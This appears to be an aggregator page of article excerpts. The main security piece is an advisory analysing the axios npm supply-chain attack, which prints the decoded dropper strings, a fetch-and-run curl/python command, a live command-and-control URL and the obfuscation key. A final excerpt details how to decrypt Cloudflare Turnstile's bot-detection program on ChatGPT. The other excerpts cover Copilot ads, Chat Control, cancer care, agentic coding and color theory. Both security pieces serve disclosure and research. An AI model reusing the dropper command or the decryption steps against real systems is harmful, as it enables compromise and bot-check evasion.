10 interesting stories served every morning and every evening.
Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical analysis. StepSecurity is hosting a community town hall on this incident on April 1st at 10:00 AM PT - Register Here.axios is the most popular JavaScript HTTP client library with over 100 million weekly downloads. On March 30, 2026, StepSecurity identified two malicious versions of the widely used axios HTTP client library published to npm: axios@1.14.1 and axios@0.30.4. The malicious versions inject a new dependency, plain-crypto-js@4.2.1, which is never imported anywhere in the axios source code. Its sole purpose is to execute a postinstall script that acts as a cross platform remote access trojan (RAT) dropper, targeting macOS, Windows, and Linux. The dropper contacts a live command and control server and delivers platform specific second stage payloads. After execution, the malware deletes itself and replaces its own package.json with a clean version to evade forensic detection.If you have installed axios@1.14.1 or axios@0.30.4, assume your system is compromisedThere are zero lines of malicious code inside axios itself, and that’s exactly what makes this attack so dangerous. Both poisoned releases inject a fake dependency, plain-crypto-js@4.2.1, a package never imported anywhere in the axios source, whose sole purpose is to run a postinstall script that deploys a cross-platform remote access trojan. The dropper contacts a live command-and-control server, delivers separate second-stage payloads for macOS, Windows, and Linux, then erases itself and replaces its own package.json with a clean decoy. A developer who inspects their node_modules folder after the fact will find no indication anything went wrong.This was not opportunistic. It was precision. The malicious dependency was staged 18 hours in advance. Three payloads were pre-built for three operating systems. Both release branches were poisoned within 39 minutes of each other. Every artifact was designed to self-destruct. Within two seconds of npm install, the malware was already calling home to the attacker’s server before npm had even finished resolving dependencies. This is among the most operationally sophisticated supply chain attacks ever documented against a top-10 npm package.These compromises were detected by StepSecurity AI Package Analyst [1][2] and StepSecurity Harden-Runner. We have responsibly disclosed the issue to the project maintainers.StepSecurity Harden-Runner, whose community tier is free for public repos and is used by over 12,000 public repositories, detected the compromised axios package making anomalous outbound connections to the attacker’s C2 domain across multiple open source projects. For example, Harden-Runner flagged the C2 callback to sfrclak.com:8000 during a routine CI run in the backstage repository, one of the most widely used developer portal frameworks. The Backstage team has confirmed that this workflow is intentionally sandboxed and the malicious package install does not impact the project. The connection was automatically marked as anomalous because it had never appeared in any prior workflow run. Harden-Runner insights for community tier projects are public by design, allowing anyone to verify the detection: https://app.stepsecurity.io/github/backstage/backstage/actions/runs/23775668703?tab=network-events
[Community Webinar] axios Compromised on npm: What We Know, What You Should Do
Join StepSecurity on April 1st at 10:00 AM PT for a live community briefing on the axios supply chain attack. We’ll walk through the full attack chain, indicators of compromise, remediation steps, and open it up for Q&A.
Register for the webinar →
The attack was pre-staged across roughly 18 hours, with the malicious dependency seeded on npm before the axios releases to avoid “brand-new package” alarms from security scanners:
plain-crypto-js@4.2.0 published by nrwise@proton.me — a clean decoy containing a full copy of the legitimate crypto-js source, no postinstall hook. Its sole purpose is to establish npm publishing history so the package does not appear as a zero-history account during later inspection.
plain-crypto-js@4.2.1 published by nrwise@proton.me — malicious payload added. The postinstall: “node setup.js” hook and obfuscated dropper are introduced.
axios@1.14.1 published by compromised jasonsaayman account (email: ifstap@proton.me) — injects plain-crypto-js@4.2.1 as a runtime dependency, targeting the modern 1.x user base.
axios@0.30.4 published by the same compromised account — identical injection into the legacy 0.x branch, published 39 minutes later to maximize coverage across both release lines.
npm unpublishes axios@1.14.1 and axios@0.30.4. Both versions are removed from the registry and the latest dist-tag reverts to 1.14.0. axios@1.14.1 had been live for approximately 2 hours 53 minutes; axios@0.30.4 for approximately 2 hours 15 minutes. Timestamp is inferred from the axios registry document’s modified field (03:15:30Z) — npm does not expose a dedicated per-version unpublish timestamp in its public API.
npm initiates a security hold on plain-crypto-js, beginning the process of replacing the malicious package with an npm security-holder stub.
npm publishes the security-holder stub plain-crypto-js@0.0.1-security.0 under the npm@npmjs.com account, formally replacing the malicious package on the registry. plain-crypto-js@4.2.1 had been live for approximately 4 hours 27 minutes. Attempting to install any version of plain-crypto-js now returns the security notice.
The attacker compromised the jasonsaayman npm account, the primary maintainer of the axios project. The account’s registered email was changed to ifstap@proton.me — an attacker-controlled ProtonMail address. Using this access, the attacker published malicious builds across both the 1.x and 0.x release branches simultaneously, maximizing the number of projects exposed.Both axios@1.14.1 and axios@0.30.4 are recorded in the npm registry as published by jasonsaayman, making them indistinguishable from legitimate releases at a glance. Both versions were published using the compromised npm credentials of a lead axios maintainer, bypassing the project’s normal GitHub Actions CI/CD pipeline.A critical forensic signal is visible in the npm registry metadata. Every legitimate axios 1.x release is published via GitHub Actions with npm’s OIDC Trusted Publisher mechanism, meaning the publish is cryptographically tied to a verified GitHub Actions workflow. axios@1.14.1 breaks that pattern entirely — published manually via a stolen npm access token with no OIDC binding and no gitHead:// axios@1.14.0 — LEGITIMATE
“_npmUser”: {
“name”: “GitHub Actions”,
“email”: “npm-oidc-no-reply@github.com”,
“trustedPublisher”: {
“id”: “github”,
“oidcConfigId”: “oidc:9061ef30-3132-49f4-b28c-9338d192a1a9″
// axios@1.14.1 — MALICIOUS
“_npmUser”: {
“name”: “jasonsaayman”,
“email”: “ifstap@proton.me”
// no trustedPublisher, no gitHead, no corresponding GitHub commit or tag
}There is no commit or tag in the axios GitHub repository that corresponds to 1.14.1. The release exists only on npm. The OIDC token that legitimate releases use is ephemeral and scoped to the specific workflow — it cannot be stolen. The attacker must have obtained a long-lived classic npm access token for the account.Before publishing the malicious axios versions, the attacker pre-staged plain-crypto-js@4.2.1 from account nrwise@proton.me. This package:Masquerades as crypto-js with an identical description and repository URL pointing to the legitimate brix/crypto-js GitHub repositoryContains “postinstall”: “node setup.js” — the hook that fires the RAT dropper on installPre-stages a clean package.json stub in a file named package.md for evidence destruction after executionThe decoy version (4.2.0) was published 18 hours earlier to establish publishing history - a clean package in the registry that makes nrwise look like a legitimate maintainer.What changed between 4.2.0 (decoy) and 4.2.1 (malicious)A complete file-level comparison between plain-crypto-js@4.2.0 and plain-crypto-js@4.2.1 reveals exactly three differences. Every other file (all 56 crypto source files, the README, the LICENSE, and the docs) is identical between the two versions:
The 56 crypto source files are not just similar; they are bit-for-bit identical to the corresponding files in the legitimate crypto-js@4.2.0 package published by Evan Vosberg. The attacker made no modifications to the cryptographic library code whatsoever. This was intentional: any diff-based analysis comparing plain-crypto-js against crypto-js would find nothing suspicious in the library files and would focus attention on package.json — where the postinstall hook looks, at a glance, like a standard build or setup task.The anti-forensics stub (package.md) deserves particular attention. After setup.js runs, it renames package.md to package.json. The stub reports version 4.2.0 — not 4.2.1:// Contents of package.md (the clean replacement stub)
“name”: “plain-crypto-js”,
“version”: “4.2.0″, // ← reports 4.2.0, not 4.2.1 — deliberate mismatch
“description”: “JavaScript library of crypto standards.”,
“license”: “MIT”,
“author”: { “name”: “Evan Vosberg”, “url”: “http://github.com/evanvosberg” },
“homepage”: “http://github.com/brix/crypto-js”,
“repository”: { “type”: “git”, “url”: “http://github.com/brix/crypto-js.git” },
“main”: “index.js”,
// No “scripts” key — no postinstall, no test
“dependencies”: {}
}This creates a secondary deception layer. After infection, running npm list in the project directory will report plain-crypto-js@4.2.0 — because npm list reads the version field from the installed package.json, which now says 4.2.0. An incident responder checking installed packages would see a version number that does not match the malicious 4.2.1 version they were told to look for, potentially leading them to conclude the system was not compromised.# What npm list reports POST-infection (after the package.json swap):
$ npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0 # ← reports 4.2.0, not 4.2.1
# but the dropper already ran as 4.2.1
# The reliable check is the DIRECTORY PRESENCE, not the version number:
$ ls node_modules/plain-crypto-js
aes.js cipher-core.js core.js …
# If this directory exists at all, the dropper ran.
# plain-crypto-js is not a dependency of ANY legitimate axios version.The difference between the real crypto-js@4.2.0 and the malicious plain-crypto-js@4.2.1 is a single field in package.json:// crypto-js@4.2.0 (LEGITIMATE — Evan Vosberg / brix)
“name”: “crypto-js”,
“version”: “4.2.0″,
“description”: “JavaScript library of crypto standards.”,
“author”: “Evan Vosberg”,
“homepage”: “http://github.com/brix/crypto-js”,
“scripts”: {
“test”: “grunt” // ← no postinstall
// plain-crypto-js@4.2.1 (MALICIOUS — nrwise@proton.me)
“name”: “plain-crypto-js”, // ← different name, everything else cloned
“version”: “4.2.1″, // ← version one ahead of the real package
“description”: “JavaScript library of crypto standards.”,
“author”: { “name”: “Evan Vosberg” }, // ← fraudulent use of real author name
“homepage”: “http://github.com/brix/crypto-js”, // ← real repo, wrong package
“scripts”: {
“test”: “grunt”,
“postinstall”: “node setup.js” // ← THE ONLY DIFFERENCE. The entire weapon.
}The attacker published axios@1.14.1 and axios@0.30.4 with plain-crypto-js: “^4.2.1” added as a runtime dependency — a package that has never appeared in any legitimate axios release. The diff is surgical: every other dependency is identical to the prior clean version.When a developer runs npm install axios@1.14.1, npm resolves the dependency tree and installs plain-crypto-js@4.2.1 automatically. npm then executes plain-crypto-js’s postinstall script, launching the dropper.Phantom dependency: A grep across all 86 files in axios@1.14.1 confirms that plain-crypto-js is never imported or require()’d anywhere in the axios source code. It is added to package.json only to trigger the postinstall hook. A dependency that appears in the manifest but has zero usage in the codebase is a high-confidence indicator of a compromised release.The Surgical Precision of the InjectionA complete binary diff between axios@1.14.0 and axios@1.14.1 across all 86 files (excluding source maps) reveals that exactly one file changed: package.json. Every other file — all 85 library source files, type definitions, README, CHANGELOG, and compiled dist bundles — is bit-for-bit identical between the two versions.# File diff: axios@1.14.0 vs axios@1.14.1 (86 files, source maps excluded)
DIFFERS: package.json
Total differing files: 1
Files only in 1.14.1: (none)
Files only in 1.14.0: (none)# –- axios/package.json (1.14.0)
# +++ axios/package.json (1.14.1)
- “version”: “1.14.0″,
+ “version”: “1.14.1″,
“scripts”: {
“fix”: “eslint –fix lib/**/*.js”,
- “prepare”: “husky”
“dependencies”: {
“follow-redirects”: “^2.1.0″,
“form-data”: “^4.0.1″,
“proxy-from-env”: “^2.1.0″,
+ “plain-crypto-js”: “^4.2.1″
}Two changes are visible: the version bump (1.14.0 → 1.14.1) and the addition of plain-crypto-js. There is also a third, less obvious change: the “prepare”: “husky” script was removed. husky is the git hook manager used by the axios project to enforce pre-commit checks. Its removal from the scripts section is consistent with a manual publish that bypassed the normal development workflow — the attacker edited package.json directly without going through the project’s standard release tooling, which would have re-added the husky prepare script.The same analysis applies to axios@0.30.3 → axios@0.30.4:# –- axios/package.json (0.30.3)
# +++ axios/package.json (0.30.4)
- “version”: “0.30.3″,
+ “version”: “0.30.4″,
“dependencies”: {
“follow-redirects”: “^1.15.4″,
“form-data”: “^4.0.4″,
“proxy-from-env”: “^1.1.0″,
+ “plain-crypto-js”: “^4.2.1″
}Again — exactly one substantive change: the malicious dependency injection. The version bump itself (from 0.30.3 to 0.30.4) is simply the required npm version increment to publish a new release; it carries no functional significance.setup.js is a single minified file employing a two-layer obfuscation scheme designed to evade static analysis tools and confuse human reviewers.All sensitive strings — module names, OS identifiers, shell commands, the C2 URL, and file paths — are stored as encoded values in an array named stq[]. Two functions decode them at runtime:_trans_1(x, r) — XOR cipher. The key “OrDeR_7077” is parsed through JavaScript’s Number(): alphabetic characters produce NaN, which in bitwise operations becomes 0. Only the digits 7, 0, 7, 7 in positions 6–9 survive, giving an effective key of [0,0,0,0,0,0,7,0,7,7]. Each character at position r is decoded as:charCode XOR key[(7 × r × r) % 10] XOR 333_trans_2(x, r) — Outer layer. Reverses the encoded string, replaces _ with =, base64-decodes the result (interpreting the bytes as UTF-8 to recover Unicode code points), then passes the output through _trans_1.The dropper’s entry point is _entry(“6202033″), where 6202033 is the C2 URL path segment. The full C2 URL is: http://sfrclak.com:8000/6202033StepSecurity fully decoded every entry in the stq[] array. The recovered plaintext reveals the complete attack:stq[0] → “child_process” // shell execution
stq[1] → “os” // platform detection
stq[2] → “fs” // filesystem operations
stq[3] → “http://sfrclak.com:8000/” // C2 base URL
stq[5] → “win32” // Windows platform identifier
stq[6] → “darwin” // macOS platform identifier
stq[12] → “curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &”
stq[13] → “package.json” // deleted after execution
stq[14] → “package.md” // clean stub renamed to package.json
stq[15] → ”.exe”
stq[16] → ”.ps1″
stq[17] → ”.vbs”The complete attack path from npm install to C2 contact and cleanup, across all three target platforms.With all strings decoded, the dropper’s full logic can be reconstructed and annotated. The following is a de-obfuscated, commented version of the _entry() function that constitutes the entire dropper payload. Original variable names are preserved; comments are added for clarity.// setup.js — de-obfuscated and annotated
// SHA-256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
...
Read the original on www.stepsecurity.io »
After a team member summoned Copilot to correct a typo in a PR of mine, Copilot edited my PR description to include and ad for itself and Raycast.
This is horrific. I knew this kind of bullshit would happen eventually, but I didn’t expect it so soon.
Here is how platforms die: first, they are good to their users; then they abuse their users to make things better for their business customers; finally, they abuse those business customers to claw back all the value for themselves. Then, they die.
...
Read the original on notes.zachmanson.com »
Skip to main content
🚨 The Conservatives (EPP) are attempting to force a new vote on Thursday (26th), seeking to reverse Parliament’s NO on indiscriminate scanning. This is a direct attack on democracy and blatant disregard for your right to privacy. No means no. Take action now!
...
Read the original on fightchatcontrol.eu »
I’ve taken agency in the treatment of my bone cancer (osteosarcoma in the T5 vertebrae of the upper spine). After I’ve ran out of standard of care treatment options and there were no trials available for me I’ve started doing: maximum diagnostics, created new treatments, started doing treatments in parallel, and scaling this for others.
Elliot Hershberg wrote a great and extensive article about my cancer journey.
My cancer journey deck is embedded below, there also is a recording of an OpenAI Forum presentation. The companies we are building to scale this approach for others can be found at evenone.ventures. Please scroll further on this page for my data and other information.
I think the medical industry can be more patient first, see this great article by Ruxandra https://www.writingruxandrabio.com/p/the-bureaucracy-blocking-the-chance
For my data please see https://osteosarc.com/ that includes my treatment timeline and a data overview doc with 25TB of publicly readable Google Cloud buckets.
Please subscribe to my mailing list
...
Read the original on sytse.com »
It’s been about a year since coding agents appeared on the scene that could actually build you full projects. There were precursors like Aider and early Cursor, but they were more assistant than agent. The new generation is enticing, and a lot of us have spent a lot of free time building all the projects we always wanted to build but never had time to.
And I think that’s fine. Spending your free time building things is super enjoyable, and most of the time you don’t really have to care about code quality and maintainability. It also gives you a way to learn a new tech stack if you so want.
During the Christmas break, both Anthropic and OpenAI handed out some freebies to hook people to their addictive slot machines. For many, it was the first time they experienced the magic of agentic coding. The fold’s getting bigger.
Coding agents are now also introduced to production codebases. After 12 months, we are now beginning to see the effects of all that “progress”. Here’s my current view.
While all of this is anecdotal, it sure feels like software has become a brittle mess, with 98% uptime becoming the norm instead of the exception, including for big services. And user interfaces have the weirdest fucking bugs that you’d think a QA team would catch. I give you that that’s been the case for longer than agents exist. But we seem to be accelerating.
We don’t have access to the internals of companies. But every now and then something slips through to some news reporter. Like this supposed AI caused outage at AWS. Which AWS immediately “corrected”. Only to then follow up internally with a 90-day reset.
Satya Nadella, the CEO of Microsoft, has been going on about how much code is now being written by AI at Microsoft. While we don’t have direct evidence, there sure is a feeling that Windows is going down the shitter. Microsoft itself seems to agree, based on this fine blog post.
Companies claiming 100% of their product’s code is now written by AI consistently put out the worst garbage you can imagine. Not pointing fingers, but memory leaks in the gigabytes, UI glitches, broken-ass features, crashes: that is not the seal of quality they think it is. And it’s definitely not good advertising for the fever dream of having your agents do all the work for you.
Through the grapevine you hear more and more people, from software companies small and large, saying they have agentically coded themselves into a corner. No code review, design decisions delegated to the agent, a gazillion features nobody asked for. That’ll do it.
We have basically given up all discipline and agency for a sort of addiction, where your highest goal is to produce the largest amount of code in the shortest amount of time. Consequences be damned.
You’re building an orchestration layer to command an army of autonomous agents. You installed Beads, completely oblivious to the fact that it’s basically uninstallable malware. The internet told you to. That’s how you should work or you’re ngmi. You’re ralphing the loop. Look, Anthropic built a C compiler with an agent swarm. It’s kind of broken, but surely the next generation of LLMs can fix it. Oh my god, Cursor built a browser with a battalion of agents. Yes, of course, it’s not really working and it needed a human to spin the wheel a little bit every now and then. But surely the next generation of LLMs will fix it. Pinky promise! Distribute, divide and conquer, autonomy, dark factories, software is solved in the next 6 months. SaaS is dead, my grandma just had her Claw build her own Shopify!
Now again, this can work for your side project barely anyone is using, including yourself. And hey, maybe there’s somebody out there who can actually make this work for a software product that’s not a steaming pile of garbage and is used by actual humans in anger.
If that’s you, more power to you. But at least among my circle of peers I have yet to find evidence that this kind of shit works. Maybe we all have skill issues.
The problem with agents is that they make errors. Which is fine, humans also make errors. Maybe they are just correctness errors. Easy to identify and fix. Add a regression test on top for bonus points. Or maybe it’s a code smell your linter doesn’t catch. A useless method here, a type that doesn’t make sense, duplicated code over there. On their own, these are harmless. A human will also do such booboos.
But clankers aren’t humans. A human makes the same error a few times. Eventually they learn not to make it again. Either because someone starts screaming at them or because they’re on a genuine learning path.
An agent has no such learning ability. At least not out of the box. It will continue making the same errors over and over again. Depending on the training data it might also come up with glorious new interpolations of different errors.
Now you can try to teach your agent. Tell it to not make that booboo again in your AGENTS.md. Concoct the most complex memory system and have it look up previous errors and best practices. And that can be effective for a specific category of errors. But it also requires you to actually observe the agent making that error.
There’s a much more important difference between clanker and human. A human is a bottleneck. A human cannot shit out 20,000 lines of code in a few hours. Even if the human creates such booboos at high frequency, there’s only so many booboos the human can introduce in a codebase per day. The booboos will compound at a very slow rate. Usually, if the booboo pain gets too big, the human, who hates pain, will spend some time fixing up the booboos. Or the human gets fired and someone else fixes up the booboos. So the pain goes away.
With an orchestrated army of agents, there is no bottleneck, no human pain. These tiny little harmless booboos suddenly compound at a rate that’s unsustainable. You have removed yourself from the loop, so you don’t even know that all the innocent booboos have formed a monster of a codebase. You only feel the pain when it’s too late.
Then one day you turn around and want to add a new feature. But the architecture, which is largely booboos at this point, doesn’t allow your army of agents to make the change in a functioning way. Or your users are screaming at you because something in the latest release broke and deleted some user data.
You realize you can no longer trust the codebase. Worse, you realize that the gazillions of unit, snapshot, and e2e tests you had your clankers write are equally untrustworthy. The only thing that’s still a reliable measure of “does this work” is manually testing the product. Congrats, you fucked yourself (and your company).
You have zero fucking idea what’s going on because you delegated all your agency to your agents. You let them run free, and they are merchants of complexity. They have seen many bad architectural decisions in their training data and throughout their RL training. You have told them to architect your application. Guess what the result is?
An immense amount of complexity, an amalgam of terrible cargo cult “industry best practices”, that you didn’t rein in before it was too late. But it’s worse than that.
Your agents never see each other’s runs, never get to see all of your codebase, never get to see all the decisions that were made by you or other agents before they make a change. As such, an agent’s decisions are always local, which leads to the exact booboos described above. Immense amounts of code duplication, abstractions for abstractions’ sake.
All of this compounds into an unrecoverable mess of complexity. The exact same mess you find in human-made enterprise codebases. Those arrive at that state because the pain is distributed over a massive amount of people. The individual suffering doesn’t pass the threshold of “I need to fix this”. The individual might not even have the means to fix things. And organizations have super high pain tolerance. But human-made enterprise codebases take years to get there. The organization slowly evolves along with the complexity in a demented kind of synergy and learns how to deal with it.
With agents and a team of 2 humans, you can get to that complexity within weeks.
So now you hope your agents can fix the mess, refactor it, make it pristine. But your agents can also no longer deal with it. Because the codebase and complexity are too big, and they only ever have a local view of the mess.
And I’m not just talking about context window size or long context attention mechanisms failing at the sight of a 1 million lines of code monster. Those are obvious technical limitations. It’s more devious than that.
Before your agent can try and help fix the mess, it needs to find all the code that needs changing and all existing code it can reuse. We call that agentic search. How the agent does that depends on the tools it has. You can give it a Bash tool so it can ripgrep its way through the codebase. You can give it some queryable codebase index, an LSP server, a vector database. In the end it doesn’t matter much. The bigger the codebase, the lower the recall. Low recall means that your agent will, in fact, not find all the code it needs to do a good job.
This is also why those code smell booboos happen in the first place. The agent misses existing code, duplicates things, introduces inconsistencies. And then they blossom into a beautiful shit flower of complexity.
How do we avoid all of this?
Coding agents are sirens, luring you in with their speed of code generation and jagged intelligence, often completing a simple task with high quality at breakneck velocity. Things start falling apart when you think: “Oh golly, this thing is great. Computer, do my work!”.
There’s nothing wrong with delegating tasks to agents, obviously. Good agent tasks share a few properties: they can be scoped so the agent doesn’t need to understand the full system. The loop can be closed, that is, the agent has a way to evaluate its own work. The output isn’t mission critical, just some ad hoc tool or internal piece of software nobody’s life or revenue depends on. Or you just need a rubber duck to bounce ideas against, which basically means bouncing your idea against the compressed wisdom of the internet and synthetic training data. If any of that applies, you found the perfect task for the agent, provided that you as the human are the final quality gate.
Karpathy’s auto-research applied to speeding up startup time of your app? Great! As long as you understand that the code it spits out is not production-ready at all. Auto-research works because you give it an evaluation function that lets the agent measure its work against some metric, like startup time or loss. But that evaluation function only captures a very narrow metric. The agent will happily ignore any metrics not captured by the evaluation function, such as code quality, complexity, or even correctness, if your evaluation function is foobar.
The point is: let the agent do the boring stuff, the stuff that won’t teach you anything new, or try out different things you’d otherwise not have time for. Then you evaluate what it came up with, take the ideas that are actually reasonable and correct, and finalize the implementation. Yes, sure, you can also use an agent for that final step.
And I would like to suggest that slowing the fuck down is the way to go. Give yourself time to think about what you’re actually building and why. Give yourself an opportunity to say, fuck no, we don’t need this. Set yourself limits on how much code you let the clanker generate per day, in line with your ability to actually review the code.
Anything that defines the gestalt of your system, that is architecture, API, and so on, write it by hand. Maybe use tab completion for some nostalgic feels. Or do some pair programming with your agent. Be in the code. Because the simple act of having to write the thing or seeing it being built up step by step introduces friction that allows you to better understand what you want to build and how the system “feels”. This is where your experience and taste come in, something the current SOTA models simply cannot yet replace. And slowing the fuck down and suffering some friction is what allows you to learn and grow.
The end result will be systems and codebases that continue to be maintainable, at least as maintainable as our old systems before agents. Yes, those were not perfect either. Your users will thank you, as your product now sparks joy instead of slop. You’ll build fewer features, but the right ones. Learning to say no is a feature in itself.
You can sleep well knowing that you still have an idea what the fuck is going on, and that you have agency. Your understanding allows you to fix the recall problem of agentic search, leading to better clanker outputs that need less massaging. And if shit hits the fan, you are able to go in and fix it. Or if your initial design has been suboptimal, you understand why it’s suboptimal, and how to refactor it into something better. With or without an agent, don’t fucking care.
All of this requires discipline and agency.
All of this requires humans.
...
Read the original on mariozechner.at »
Hello! This is a long, hopefully fun one! If you’re reading this in your email, you may need to click “expand” to read all the way to the end of this post. Thank you!
When I lived in Nashville, my girlfriends and I would take ourselves on “field trips” across the state. We once went on a tour to spot bald eagles in West Tennessee, and upon arrival, a woman with fluffy hair in the state park bathroom told us she had seen 113 bald eagles the day before. We ended up seeing (counts on one hand)…2.
In the summer of 2017, we went on another field trip to the National Park’s Manhattan Project Site in Oak Ridge, TN. In 1942, Oak Ridge, TN, was chosen as the site for a plutonium and uranium enrichment plant as part of the Manhattan Project, a top-secret WWII effort to develop the first atomic bomb. Once a small and rural farming community settled in the valley of East Tennessee, the swift task to create a nuclear bomb grew the secret settlement titled “Site X” from 3,000 people in 1942 to 75,000 by 1945. Alongside the population growth, enormously complex buildings were built.
A Note: The Manhattan Project created the nuclear bomb that caused extreme devastation in Japan and ended the war. There’s a lot of U. S. history that’s awful and indefensible. Today, though, I’d like to talk about the industrial design and color theory from that era.
Our first stop on the tour was the X-10 Graphite Reactor room and its control panel room. The X-10 Graphite Reactor, a 24-foot-square block of graphite, was the world’s second full-scale nuclear reactor. The plutonium produced from uranium there was shipped to Los Alamos, New Mexico, for research into the atomic bomb Fat Man.
What caught my eye as a designer, as with most industrial plants and control rooms of that time, besides the knobs, levers, and buttons, was the use of a very specific seafoam green, seen here on the reactor’s walls and in the control panel room.
Thus began my day-long search, traipsing through the internet for historical information about this specific shade of seafoam green.
Thankfully, this path led me to the work of color theorist Faber Birren.
In the fall of 1919, Faber Birren entered the Art Institute at the University of Chicago, only to drop out in the spring of 1921 to commit himself to self-education in color, as such a program didn’t exist. He spent his days interviewing psychologists and physicists and conducted his own color studies, which were considered unconventional at the time. He painted his bedroom walls red vermillion to test if it would make him go mad.
In 1933, he moved to New York City and became a self-appointed color consultant, approaching major corporations to sell the idea that appropriate use of color could boost sales. He convinced a Chicago wholesale meat company that the company’s white walls made the meat unappealing. He studied the steaks on various colored backgrounds and determined that a blue/green background would make the beef appear redder. Sales went up, and soon a number of industries hired Faber to bring color theory into their work, including the leading chemical and wartime contract company, as well as the Manhattan Project building designer, DuPont.
With the increase in wartime production in the US during WWII, Birren and DuPont created a master color safety code for the industrial plant industry, with the aim of reducing accidents and increasing efficiency within plants. These color codes were approved by the National Safety Council in 1944 and are now internationally recognized, having been mandatory practice since 1948. The color coding went as such:
* Fire Red: All fire protection, emergency stop buttons, and flammable liquids should be red
* Solar Yellow: Signifies caution and physical hazards such as falling
* Safety Green: Indicates safety features such as first-aid equipment, emergency exits, and eyewash stations.
* Light Green: Used on walls to reduce visual fatigue
My industrial “seafoam” light green mystery has finally been solved thanks to this article from UChicago Magazine.
Keeping in theme with “control rooms”, I researched the second Manhattan Project plant, the Hanford Site, home to the B Reactor, the first full-scale plutonium production reactor in the world. To my surprise, this site looked like an ode to Birren’s light green and color codes, which makes sense, since his client, DuPont, was also responsible for the design and construction of Hanford.
In Birren’s 1963 book Color for Interiors: Historical and Modern, he writes about research undertaken to measure eye fatigue in the industrial workplace and the effects of interior color on human efficiency and well-being. Using the color chart above, he states that the proper use of color hues can reduce accidents, raise standards of machine maintenance, and improve labor morale.
“The importance of color in factories is first to control brightness in the general field of view for an efficient seeing condition. Interiors can then be conditioned for emotional pleasure and interest, using warm, cool, or luminois hues as working conditions suggest. Color should be functional and not merely decorative.” - Faber Birren
Now, looking at the interiors of the Manhattan Project control rooms and plants, the broad use of Light and Medium Green makes sense. One mistake and mass devastation could have occurred within these towns. Birren writes, “Note that most of the standards are soft in tone. This is deliberate and intended to establish a non-distracting environment. Green is a restful and natural-looking color for average factory interiors. Light Green with Medium Green is suggested.”
Let’s put these theories to work with this photo of the B-Reactor room found at the Hanford Site of the Manhattan Project. In Birren’s book, he directed the following color applications for small industrial areas:
* ✔️ Medium Gray is proposed for machinery, equipment, and racks
* ✔️ Beige walls may be applied to interiors deprived of natural light
As we can see, his color theory was followed to a T.
Other US Industrial Plants that Used these Color Methods
This color theory research just opened a whole can of design worms for me, and I’m excited to dive into them more. For example, Germany developed its own seafoam green, specifically designed for bridges, called Cologne Bridge Green. That’s a post for another day.
And finally, if you enjoy this sort of design, I designed a font called “Parts List” that is meant to evoke the feeling of sitting in an oil change waiting room, with the smell of burnt coffee. I created this font out of old auto parts lists, and it’s a perfectly wobbly typeface that will give you that ‘Is it a typewriter or handwriting?’ feeling. It’s now available on my website.
PS: I have an old friend whose dad still works at the Uranium plant in Oak Ridge. I told him that I was surprised that almost all of the facilities had been torn down, and he just looked at me straight in the face and said, “Who said it’s actually gone?” Noted. ✌️
Thanks for being here!
...
Read the original on bethmathews.substack.com »
Every ChatGPT message triggers a Cloudflare Turnstile program that runs silently in your browser. I decrypted 377 of these programs from network traffic and found something that goes beyond standard browser fingerprinting.
The program checks 55 properties spanning three layers: your browser (GPU, screen, fonts), the Cloudflare network (your city, your IP, your region from edge headers), and the ChatGPT React application itself (__reactRouterContext, loaderData, clientBootstrap). Turnstile doesn’t just verify that you’re running a real browser. It verifies that you’re running a real browser that has fully booted a specific React application.
A bot that spoofs browser fingerprints but doesn’t render the actual ChatGPT SPA will fail.
The Turnstile bytecode arrives encrypted. The server sends a field called turnstile.dx in the prepare response: 28,000 characters of base64 that change on every request.
The outer layer is XOR’d with the p token from the prepare request. Both travel in the same HTTP exchange, so decrypting it is straightforward:
outer = json.loads(bytes(
base64decode(dx)[i] ^ p_token[i % len(p_token)]
for i in range(len(base64decode(dx)))
# → 89 VM instructions
Inside those 89 instructions, there is a 19KB encrypted blob containing the actual fingerprinting program. This inner blob uses a different XOR key that is not the p token.
Initially I assumed this key was derived from performance.now() and was truly ephemeral. Then I looked at the bytecode more carefully and found the key sitting in the instructions:
[41.02, 0.3, 22.58, 12.96, 97.35]
The last argument, 97.35, is the XOR key. A float literal, generated by the server, embedded in the bytecode it sent to the browser. I verified this across 50 requests. Every time, the float from the instruction decrypts the inner blob to valid JSON. 50 out of 50.
The full decryption chain requires nothing beyond the HTTP request and response:
1. Read p from prepare request
2. Read turnstile.dx from prepare response
3. XOR(base64decode(dx), p) → outer bytecode
4. Find the 5-arg instruction after the 19KB blob → last arg is the key
5. XOR(base64decode(blob), str(key)) → inner program (417-580 VM instructions)
The key is in the payload.
Each inner program uses a custom VM with 28 opcodes (ADD, XOR, CALL, BTOA, RESOLVE, BIND_METHOD, JSON_STRINGIFY, etc.) and randomized float register addresses that change per request. I mapped the opcodes from the SDK source (sdk.js, 1,411 lines, deobfuscated).
The program collects 55 properties. No variation across 377 samples. All 55, every time, organized into three layers:
Storage (5): storage, quota, estimate, setItem, usage. Also writes the fingerprint to localStorage under key 6f376b6560133c2c for persistence across page loads.
These are injected server-side by Cloudflare’s edge. They exist only if the request passed through Cloudflare’s network. A bot making direct requests to the origin server or running behind a non-Cloudflare proxy will produce missing or inconsistent values.
This is the part that matters. __reactRouterContext is an internal data structure that React Router v6+ attaches to the DOM. loaderData contains the route loader results. clientBootstrap is specific to ChatGPT’s SSR hydration.
These properties only exist if the ChatGPT React application has fully rendered and hydrated. A headless browser that loads the HTML but doesn’t execute the JavaScript bundle won’t have them. A bot framework that stubs out browser APIs but doesn’t actually run React won’t have them.
This is bot detection at the application layer, not the browser layer.
After collecting all 55 properties, the program hits a 116-byte encrypted blob that decrypts to 4 final instructions:
[96.05, 3.99, 3.99], // JSON.stringify(fingerprint)
[22.58, 46.15, 57.34], // store
[33.34, 3.99, 74.43], // XOR(json, key)
[1.51, 56.88, 3.99] // RESOLVE → becomes the token
The fingerprint is JSON.stringify’d, XOR’d, and resolved back to the parent. The result is the OpenAI-Sentinel-Turnstile-Token header sent with every conversation request.
Turnstile is one of three challenges. The other two:
Signal Orchestrator (271 instructions): Installs event listeners for keydown, pointermove, click, scroll, paste, and wheel. Monitors 36 window.__oai_so_* properties tracking keystroke timing, mouse velocity, scroll patterns, idle time, and paste events. A behavioral biometric layer running underneath the fingerprint.
